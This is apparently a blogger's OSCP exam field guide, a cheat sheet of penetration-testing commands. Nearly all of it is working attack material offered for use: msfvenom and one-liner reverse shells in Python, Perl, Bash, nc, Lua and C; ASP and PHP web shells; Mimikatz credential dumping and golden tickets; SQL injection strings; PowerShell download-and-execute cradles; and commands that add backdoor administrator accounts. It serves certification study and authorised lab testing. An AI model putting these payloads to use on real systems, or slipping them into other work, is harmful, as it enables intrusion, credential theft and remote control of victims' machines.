As an OSCP student, I frequently searched the web for notes, tips, advice, or anything that would help me learn the necessary skills to pass the exam. This field guide started off as that, a collection of gathered OSCP notes from around the web, but as I learn more, this post serves as a place to document everything.

If this guide helps you in any way, or you think it is useful, or maybe you just think it sucks… then please, hit me up on twitter and let me know.

Last Updated: 8-10-2021

Table of Contents


Metasploit


Pass-The-Hash w/ PSExec

# This is the most common exploit module you'll be using.
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set RHOST 192.168.1.2
msf exploit(psexec) > set SMBUser Administrator
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3bf3fa6cb6d:8846f7eaee8fb106bdd830b7586c
msf exploit(psexec) > set SMBDomain test.local
msf exploit(psexec) > exploit

MSFVenom Reverse Shells

# PHP
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw -o dank.php

# Python
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -n 32

# Powershell command
msfvenom -p windows/exec CMD="powershell \"IEX(New-Object Net.WebClient).downloadString('http://192.168.1.2/shell.ps1')\"" -e x86/unicode_mixed -b "\x00\x0d" --platform Windows -a x86

# C code
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0d" > out.txt

# EXE
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f exe -o shell.exe

# ASP
msfvenom -p windows/shell_reverse_tcp --format asp LHOST=192.168.1.2 -o shell.asp

# Linux
msfvenom -p linux/x86/shell_reverse_tcp exitfunc=thread LHOST=192.168.1.2 LPORT=443 -f elf
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.2 LPORT=4444 -f raw > shell.sh

# Javascript
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f raw > shell.jsp

Note: Shells with a “/” are staged and ones with a “_” are not.
e.g. windows/shell/reverse_tcp vs windows/shell_reverse_tcp

A staged payload means that your payload consists of two main components: a small stub loader and the final stage payload. When you deliver windows/shell/reverse_tcp to the target machine, for example, you are actually sending the loader first. And then when that loader gets executed, it will ask the handler (on the attacker’s end) to send over the final stage (the larger payload), and finally you get a shell. - Deep Dive Into Stageless Meterpreter Payloads - Rapid7

Jobs & Sessions

# Listing jobs
msf > jobs

# Killing a job
msf > jobs -k <session-number>

# Killing all jobs
msf > jobs -K

# Listing sessions
msf > sessions

# Upgrading an established session with meterpreter
# Note: Not all sessions can be upgraded.
msf > sessions -u <session-number>

# Run a command directly through a sessions
msf > sessions -c <command>

# Killing a session
msf > sessions -k <session-number>

# Killing all sessions
msf > sessions -K

Multi-Handler

# Starting a multi-handler
msf > use exploit multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 192.168.1.2
msf > set lport 4444
msf > exploit -j -z

Uploading & Downloading Files

upload /path/in/your/disk/payload.exe exploit.exe
download /path/in/victim/disk

Mimikatz

load mimikatz
meterpreter > kerberos
meterpreter > ssp
meterpreter > msv
meterpreter > wdigest

- or -
mimikatz_command -f version
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords

- or -
load kiwi
meterpreter > creds_all

Golden Ticket

# Load Kiwi first
meterpreter > load kiwi

# Using kiwi to do Golden Ticket
golden_ticket_create -d <domain-name> -k <krbtgt-NTLM> -s <SID-without-RID> -u <User-for-ticket> -t /root/golden.tck

# Apply Golden Ticket
kerberos_ticket_use /root/golden.tck

# List active tickets
kerberos_ticket_list

Passwords


Hashcat

# Windows NTLM hashes (-m 1000) & dictionary attack (-a 0)
hashcat -a 0 -m 1000 hashfile.txt wordlist.txt

# to add rules, add the -r flag
hashcat -a 0 -m 1000 hashes.txt wordlist.txt -r rules/dive.rule


Shells


Python Reverse Shells

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl Reverse Shells

perl -e 'use Socket;$i="192.168.1.2";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -e 'use Socket;$i="MY-LOCAL-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also one located in kali: /usr/share/webshells/perl/perl-reverse-shell.pl

Bash Reverse Shells

/bin/bash -i >& /dev/tcp/192.168.1.31/443 0>&1

NC w/o -e Flag

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 192.168.22.2 443 >/tmp/f

CMD Prompt Reverse Shell

powershell -Command "(New-Object System.Net.WebClient).Downloadfile('http://192.168.22.66/nc.exe', 'C:\Users\user\Desktop\nc.exe')"

# Then run:
C:\Users\jill\Desktop\nc.exe 192.168.22.66 443 -e cmd.exe

Lua Reverse Shell

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('192.168.22.66',4445);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

ASP Web Shell

< %@ Page Language="VB" Debug="true" >
< %@ import Namespace="system.IO" % >
< %@ import Namespace="System.Diagnostics">

<script runat="server">
Function RunCmd(command)
 Dim res as integer
 Dim myProcess As New Process()
 Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")
 myProcessStartInfo.UseShellExecute = false
 myProcessStartInfo.RedirectStandardOutput = true
 myProcess.StartInfo = myProcessStartInfo
 myProcessStartInfo.Arguments="/c " + command
 myProcess.Start()
 Dim myStreamReader As StreamReader = myProcess.StandardOutput
 Dim myString As String = myStreamReader.Readtoend()
 myProcess.Close()
 RunCmd= MyString
End Function
</script>

<html>
<body>
<form action="cmd.aspx" method=POST>
Enter your shell command <input type=text name=cmd size=4>
<input type=submit name=go></form>

< %
if request("cmd") <> "" then
response.write("
<pre>"+ RunCmd(request("cmd"))+ "</pre>
")
end if
%>
</body></html>

Bind C Shell

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#define LOCAL_PORT 4444

int main()
{
  int resultfd, sockfd;
  struct sockaddr_in my_addr;
  char \*args[] = { "/bin/busybox", "sh", NULL};
  sockfd = socket(AF_INET, SOCK_STREAM, 0);

  int one = 1;
  setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

  my_addr.sin_family = AF_INET; // 2
  my_addr.sin_port = htons(LOCAL_PORT); // port number
  my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP

  bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr));
  listen(sockfd, 0);
  resultfd = accept(sockfd, NULL, NULL);
  dup2(resultfd, 2);
  dup2(resultfd, 1);
  dup2(resultfd, 0);
  execve(args[0], &args[0], 0);
  return 0;
}

Reverse C Shell

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "192.168.1.219"
#define REMOTE_PORT 443

int main(int argc, char *argv[])
{
  struct sockaddr_in sa;
  int s;
  char \*args[] = { "/bin/busybox", "sh", NULL};
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
  sa.sin_port = htons(REMOTE_PORT);
  s = socket(AF_INET, SOCK_STREAM, 0);
  connect(s, (struct sockaddr *)&sa, sizeof(sa));
  dup2(s, 0);
  dup2(s, 1);
  dup2(s, 2);
  execve(args[0], &args[0], 0);
  return 0;
}

TTY Shell Upgrades


# python
python -c 'import pty; pty.spawn("/bin/sh")'

# bash
echo os.system('/bin/bash')
/bin/sh -i

# ash
/bin/busybox sh -i

# perl
perl -e 'exec "/bin/sh";'

# lua interpreter
lua: os.execute('/bin/ash')
lua -e "os.execute('/bin/sh')"

# nmap interactive
!sh

# vi
:!bash
or
:set shell=/bin/bash:shell

Socat

On Kali, (Listen):
# https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method2usingsocat
socat file:`tty`,raw,echo=0 tcp-listen:4444

- then -

On Victim:
# WHERE my-local-ip is 192.168.1.2
wget -O /tmp/socat http://my-local-ip/socat/builds/i686/socat
chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.2:4444

wget http://192.168.0.101/socat/socat.tar
tar -xvf socat.tar
./socat-shell.sh
chmod +x socat
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.2:4444

# By itself:
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.2:4444

Nmap


Important Flags

-A: Not only Service Version but OS detection, Auto script scanning and traceroute.
-oN: Output to nmap file.
-oG: Output to greppable format
-oA: Output to all formats
-oX: Output to XML.
-p-: Scan all ports including port 0.
-T: Timing (0-5) How fast nmap scans.
-sU: UDP Scan
-sT: TCP Connect Scan -
-sV: Check open ports for service/version info. Ex: Web on non-std port.
-sS: TCP SYN Scan -
-Pn: Doesn't ping, assumes the machine is up. Great for Windows.
-sn: No port scan, just ping to see if host is up.

All Port Scans

nmap -p- 192.168.1.1 -oN outfile

Full Scan

nmap -vv -Pn -A -sS -p- 192.168.1.1 -oN outfile

UDP Scan

nmap --top-ports 1000 -sU -vv 192.168.1.1 -oN outfile-udp

Script Scan

ls /usr/share/nmap/scripts
nmap -A -p- --script

nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 10.11.1.1-254 >> smb_vulnerabilities.log

nmap --script vuln -p 139,445 192.168.22.25

Web Stuff


Gobuster

gobuster -u http://192.168.1.X/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s '200,204,301,302,307,403,500' -e

gobuster -u http://192.168.1.X/ -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -s '200,204,403,500' -e

Extra Web Stuff

'%0a' can encode to carriage returns

PHPMyAdmin Queries

SELECT LOAD_FILE ('/etc/passwd');

SQL Injections

1' or '1' = '1
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' {
' OR '1'='1' /*
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
") or ("a"="a

SQLMap

sqlmap -u http://192.168.22.66/comment.php?id=738 --dbms=mysql --dump --threads=5

#Shell on a machine:
sqlmap -u http://192.168.22.66/comment.php?id=738 --dbms=mysql --threads=5 --os-shell

WPScan

wpscan --url <IP>
wpscan --url 192.168.22.66 --wordlist /usr/share/wordlists/rockyou.txt --username admin

Curl (Look for PUT/POST)

curl -v -X OPTIONS 192.168.22.66/test

PUT a PHP Shell

curl -v -X PUT -d '<pre><?php system ($_GET["cmd"]); ?></pre>' http://192.168.22.66/test/shell.php

Simple PHP Web Shell

<?php system($_REQUEST['cmd']); ?>

<?php system ($_GET["cmd"]); ?>

Get a Limited Shell From PHP Webshell:

# on kali
nv -nvlp 443

# on victim via browser
http://192.168.22.66/shell.php?cmd=nc 192.168.1.100 -e /bin/bash

# -or-
http://192.168.22.66/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

# -or-
http://192.168.22.66/shell.php?cmd=mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc 192.168.1.100 443 1>/tmp/backpipe

DB Stuff


mysql -u root -pDaNkMeMes -e "show databases;"
mysql -u root -pDaNkMeMes <database> -e "show tables;"
mysql -u root -pDaNkMeMes mysql -e "select * from user\G;"

Post Exploitation



Mimikatz (Not Through Metasploit)


wmic process call create "powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds | Out-File C:\\Users\\public\\a.txt"

cd /opt/PowerShellMafia/PowerSploit/master/Exfiltration/
python -m SimpleHTTPServer 80
wmic process call create "powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://my-local-ip/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds | Out-File C:\\Users\\Public\\a.txt"

Windows File Transfers


WGET Through CScript (to upload nc/evil.exe)

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
then do...
cscript wget.vbs http://192.168.22.66/evil.exe evil.exe

WGET Through PowerShell (to upload nc/evil.exe)

echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $url = "http://192.168.22.66/psexec.exe" >> wget.ps1
echo $file = "psexec.exe" >> wget.ps1
echo $webclient.DownloadFile($url,$file) >> wget.ps1
then do...
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

TFTP (Windows)

root@kali:~/oscp/file_xfer/tftp mkdir /tftp
root@kali:~/oscp/file_xfer/tftp atftpd --daemon --port 69 /tftp
root@kali:~/oscp/file_xfer/tftp cp /usr/share/windows-binaries/nc.exe /tftp

tftp -i 192.168.22.66 get nc.exe

FTP (Transfer)

root@kali:~ apt-get update && apt-get install pure-ftpd

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

# then
C:\Users\offsec> echo open 192.168.22.66 21> ftp.txt
C:\Users\offsec> echo USER offsec >> ftp.txt
C:\Users\offsec> echo ftp >> ftp.txt
C:\Users\offsec> echo bin >> ftp.txt
C:\Users\offsec> echo GET nc.exe >> ftp.txt
C:\Users\offsec> echo bye >> ftp.txt
C:\Users\offsec> ftp -v -n -s:ftp.txt

SMB

python /usr/share/doc/python-impacket/examples/smbserver.py DankShareName /var/www/html

# confirm share is up from linux
smbclient -L 192.168.1.128 --no-pass

# confirm share is up from windows
net view \\192.168.1.128

# then party like its hot. Just simply use it like it’s a folder in windows:
dir \\192.168.1.128\wlan1
copy \\192.168.1.128\wlan1\wpc.exe .
wpc.exe -a --dump

Windows Stuff


Check Privs

cacls cmd.exe

Reset/Add Account

# Add user
net user supreme lol123! /add
net localgroup administrators supreme /add

DNS Stuff


DNS Zone Transfer

# With host (first find the NS)
host -t ns domain.local | cut -d " " -f 4

# WThen check for zone transfers against NS.
host -t axfr domain.local 192.168.21.2
host -l domain.local 192.168.21.2

# With dig (first find the NS).
dig +short ns domain.com
> ns1.domain.com
> ns2.domain.com

# then check for zone transfers against NS
dig axfr domain.com @ns1.domain.com

DNS Tunneling

# On AWS/Azure/GCloud/DigiOcean
# First register a domain name and transfer it over to the hosting platform.
# Then create 2 records
t1        IN    NS    dnsserver1.server.com.    ; note the dot!
dnsserver1    IN    A    200.200.200.200

# Setup the daemon (SERVER SIDE)
root@bianca:/# apt-get install iodine
iodined -f -c -P password123 200.200.200.200 t1.server.com

# Setup the daemon (CLIENT SIDE)
root@kali:/# apt-get install iodine
iodine -f -P password123 t1.server.com

# Setting up the proxy
ssh -N -D 8080 root@10.0.0.1

# Add proxychains config
root@kali:/# vim /etc/proxychains.conf
# at the bottom add
socks5 127.0.0.1 8080

# --------------------
# If you need to test the iodine connection
# iodined will respond to NS requests sent for the subdomains of the tunnel domain.
dig -t NS dnsserver2.t1.server.com

# or send any requests starting with a 'z'
dig -t TXT z456.dnsserver1.server.com
dig -t SRV z456.dnsserver1.server.com
dig -t CNAME z456.dnsserver1.server.com

# https://github.com/yarrick/iodine

DNSEnum

dnsenum domainname.com

DNSrecon

dnsrecon -d domainname.com -t axfr

Pivoting


RDP over SSH Tunnel (Static Forwarding):

ssh -L 127.0.0.1:8080:10.10.12.22:3389 admin@192.168.1.21
rdesktop localhost:8080

SSH Tunnel (Dynamic Forwarding):

ssh -D 127.0.0.1:8080 admin@192.168.1.21

Tcpdump

Listen to ICMP Requests

tcpdump -i tap0 icmp and icmp[icmptype]=icmp-echo

Misc


Buffalo NAS

# Check for unauthenticated rsync backup.
> rsync -av 192.168.1.2::
diskArray1
> rsync -av 192.168.1.2::diskArray1 .
important-document.pdf
presentation.pptx

Compiling code

gcc file.c -o out

Compile Windows Code in Linux

i686-w64-mingw32-gcc MS11-046.c -lws2_32 -o hack.exe